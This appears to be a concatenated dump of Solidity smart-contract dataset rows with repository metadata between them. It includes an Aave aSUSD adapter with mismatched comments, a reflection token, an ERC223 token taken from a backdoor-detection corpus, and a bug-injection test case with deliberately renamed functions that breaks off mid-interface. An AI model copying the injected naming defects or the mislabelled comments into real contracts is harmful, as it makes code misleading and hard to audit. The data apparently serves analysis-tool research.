function getUserIndex(address _user) external view returns(uint256);
function getInterestRedirectionAddress(address _user) external view returns(address);
function getRedirectedBalance(address _user) external view returns(uint256);
function decimals () external view returns (uint256);
}
////// src/adapters/mainnet/mainnetASusdAdapter.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract MainnetASUsdAdapter {
address constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
ILendingPoolAddressesProvider constant lpProvider = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
constructor () public { }
function getASUsd () public view returns (IAToken) {
ILendingPool pool = ILendingPool(lpProvider.getLendingPool());
(,,,,,,,,,,,address aTokenAddress,) = pool.getReserveData(susd);
return IAToken(aTokenAddress);
}
// takes raw cdai amount
// unwraps it into dai
// deposits dai amount in chai
function intakeRaw (uint256 amount) public {
getASUsd().transferFrom(msg.sender, address(this), amount);
}
function intakeNumeraire (uint256 amount) public returns (uint256) {
getASUsd().transferFrom(msg.sender, address(this), amount);
return amount;
}
function outputRaw (address dst, uint256 amount) public {
IAToken asusd = getASUsd();
asusd.transfer(dst, amount);
}
// unwraps numeraire amount of dai from chai
// wraps it into cdai amount
// sends that to destination
function outputNumeraire (address dst, uint256 amount) public returns (uint256) {
getASUsd().transfer(dst, amount);
return amount;
}
function viewRawAmount (uint256 amount) public view returns (uint256) {
return amount;
}
function viewNumeraireAmount (uint256 amount) public view returns (uint256) {
return amount;
}
function viewNumeraireBalance (address addr) public returns (uint256) {
return getASUsd().balanceOf(addr);
}
// takes raw amount and gives numeraire amount
function getRawAmount (uint256 amount) public returns (uint256) {
return amount;
}
// takes raw amount and gives numeraire amount
function getNumeraireAmount (uint256 amount) public returns (uint256) {
return amount;
}
function getNumeraireBalance () public returns (uint256) {
return getASUsd().balanceOf(address(this));
}
uint constant WAD = 10 ** 18;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function wdivup(uint x, uint y) internal pure returns (uint z) {
// always rounds up
z = add(mul(x, WAD), sub(y, 1)) / y;
}
}
| 188,535 | 10,902 |
a8cc09d23c6dad83e72efb00405131d394eb7c331a7e1e0585859b042ad0bb92
| 25,845 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/fc/Fcd9654Cbfcb2351a5678CA3525629B07DC09E9c_HYPEUP.sol
| 4,442 | 16,398 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HYPEUP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Hype up';
string private _symbol = 'HYPEUP';
uint8 private _decimals = 8;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 123,725 | 10,903 |
142fe8486baf3fc5c3da3fbcbe9ac36c90935b50a4def7171d1d53bea904bd41
| 22,011 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x928e25e5cfa7efafa9b3908685016fcd0c21989d.sol
| 4,385 | 16,500 |
pragma solidity ^0.5.8;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC223ReceiverMixin {
function tokenFallback(address _from, uint256 _value, bytes memory _data) public;
}
/// @title Custom implementation of ERC223
contract ERC223Mixin is StandardToken {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferFrom(address _from,
address _to,
uint256 _value) public returns (bool)
{
bytes memory empty;
return transferFrom(_from,
_to,
_value,
empty);
}
function transferFrom(address _from,
address _to,
uint256 _value,
bytes memory _data) public returns (bool)
{
require(_value <= allowed[_from][msg.sender], "Reached allowed value");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (isContract(_to)) {
return transferToContract(_from,
_to,
_value,
_data);
} else {
return transferToAddress(_from,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value, bytes memory _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(msg.sender,
_to,
_value,
_data);
} else {
return transferToAddress(msg.sender,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function isContract(address _addr) internal view returns (bool) {
uint256 length;
// solium-disable-next-line security/no-inline-assembly
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function moveTokens(address _from, address _to, uint256 _value) internal returns (bool success) {
if (balanceOf(_from) < _value) {
revert();
}
balances[_from] = balanceOf(_from).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
return true;
}
function transferToAddress(address _from,
address _to,
uint256 _value,
bytes memory _data) internal returns (bool success)
{
require(moveTokens(_from, _to, _value), "Move is not successful");
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _from,
address _to,
uint256 _value,
bytes memory _data) internal returns (bool success)
{
require(moveTokens(_from, _to, _value), "Move is not successful");
ERC223ReceiverMixin(_to).tokenFallback(_from, _value, _data);
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
}
/// @title Role based access control mixin for Product Protocol Platform
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Doesn't have enough rights";
string constant DUPLICATE = "Requirement already satisfied";
/// @notice Public owner
address public owner;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates a set of a new owner
/// @param who is address of added owner
event SetOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender);
}
/// @notice The functional modifier rejects the interaction of sender who is not an owner
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owner == _who;
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function setOwner(address _who) public onlyOwner returns (bool) {
require(_who != address(0));
_setOwner(_who);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who) private returns (bool) {
require(owner != _who, DUPLICATE);
owner = _who;
emit SetOwner(_who);
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag, DUPLICATE);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
contract RBACMintableTokenMixin is StandardToken, RBACMixin {
/// @notice Total issued tokens
uint256 totalIssued_;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished, "Minting is finished");
_;
}
function mint(address _to,
uint256 _amount)
onlyMinter
canMint
public
returns (bool)
{
totalIssued_ = totalIssued_.add(_amount);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/// @title Role based token finalization mixin
contract RBACERC223TokenFinalization is ERC223Mixin, RBACMixin {
event Finalize();
/// @notice Public field inicates the finalization state of smart-contract
bool public finalized;
/// @notice The functional modifier rejects the interaction if contract isn't finalized
modifier isFinalized() {
require(finalized);
_;
}
/// @notice The functional modifier rejects the interaction if contract is finalized
modifier notFinalized() {
require(!finalized);
_;
}
/// @notice Finalizes contract
/// @dev Requires owner role to interact
/// @return A boolean that indicates if the operation was successful.
function finalize() public notFinalized onlyOwner returns (bool) {
finalized = true;
emit Finalize();
return true;
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function transferFrom(address _from, address _to, uint256 _value) public isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// @dev Overrides ERC223 interface to prevent interaction before finalization
// solium-disable-next-line arg-overflow
function transferFrom(address _from, address _to, uint256 _value, bytes memory _data) public isFinalized returns (bool) {
return super.transferFrom(_from, _to, _value, _data); // solium-disable-line arg-overflow
}
/// @dev Overrides ERC223 interface to prevent interaction before finalization
function transfer(address _to, uint256 _value, bytes memory _data) public isFinalized returns (bool) {
return super.transfer(_to, _value, _data);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function transfer(address _to, uint256 _value) public isFinalized returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function approve(address _spender, uint256 _value) public isFinalized returns (bool) {
return super.approve(_spender, _value);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function increaseApproval(address _spender, uint256 _addedValue) public isFinalized returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
/// @dev Overrides ERC20 interface to prevent interaction before finalization
function decreaseApproval(address _spender, uint256 _subtractedValue) public isFinalized returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/// @title Product Protocol token implementation
/// @dev Implements ERC20, ERC223 and MintableToken interfaces
contract ProductProtocolToken is StandardBurnableToken, ERC223Mixin, RBACERC223TokenFinalization, RBACMintableTokenMixin {
/// @notice Constant field with token full name
// solium-disable-next-line uppercase
string constant public name = "Product Protocol";
/// @notice Constant field with token symbol
string constant public symbol = "PPO"; // solium-disable-line uppercase
/// @notice Constant field with token precision depth
uint256 constant public decimals = 18; // solium-disable-line uppercase
/// @notice Constant field with token cap (total supply limit)
uint256 constant public cap = 40 * (10 ** 9) * (10 ** decimals); // solium-disable-line uppercase
/// @notice Overrides original mint function from MintableToken to limit minting over cap
/// @param _to The address that will receive the minted tokens.
/// @param _amount The amount of tokens to mint.
/// @return A boolean that indicates if the operation was successful.
function mint(address _to,
uint256 _amount)
public
returns (bool)
{
require(totalIssued_.add(_amount) <= cap, "Cap reached");
return super.mint(_to, _amount);
}
/// @return A boolean that indicates if the operation was successful.
function finalize() public returns (bool) {
require(super.finalize());
require(finishMinting());
return true;
}
/// @return A boolean that indicates if the operation was successful.
function finishMinting() internal returns (bool) {
require(finalized == true);
require(super.finishMinting());
return true;
}
}
| 141,502 | 10,904 |
b433e279ac9f6502c7ac262778dff18b428c23e7fb021889fe754bd9c2ee9993
| 13,588 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/contractExtractor/nonStandardNamingExtractor/testCase/0x59e35e233541aaa297fb141579b42c739a938c84_nonStandardNaming.sol
| 4,003 | 12,973 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function ADD795(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function SUB56(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB56(a, b, "SafeMath: subtraction overflow");}
function SUB56(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function MUL251(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function DIV611(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV611(a, b, "SafeMath: division by zero");}
function DIV611(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function MOD125(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD125(a, b, "SafeMath: modulo by zero");}
function MOD125(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function TOTALSUPPLY425() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF918(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER435(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE36(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE341(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM704(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function MINT855(address account, uint256 amount) external; //inject NONSTANDARD NAMING
event TRANSFER626(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
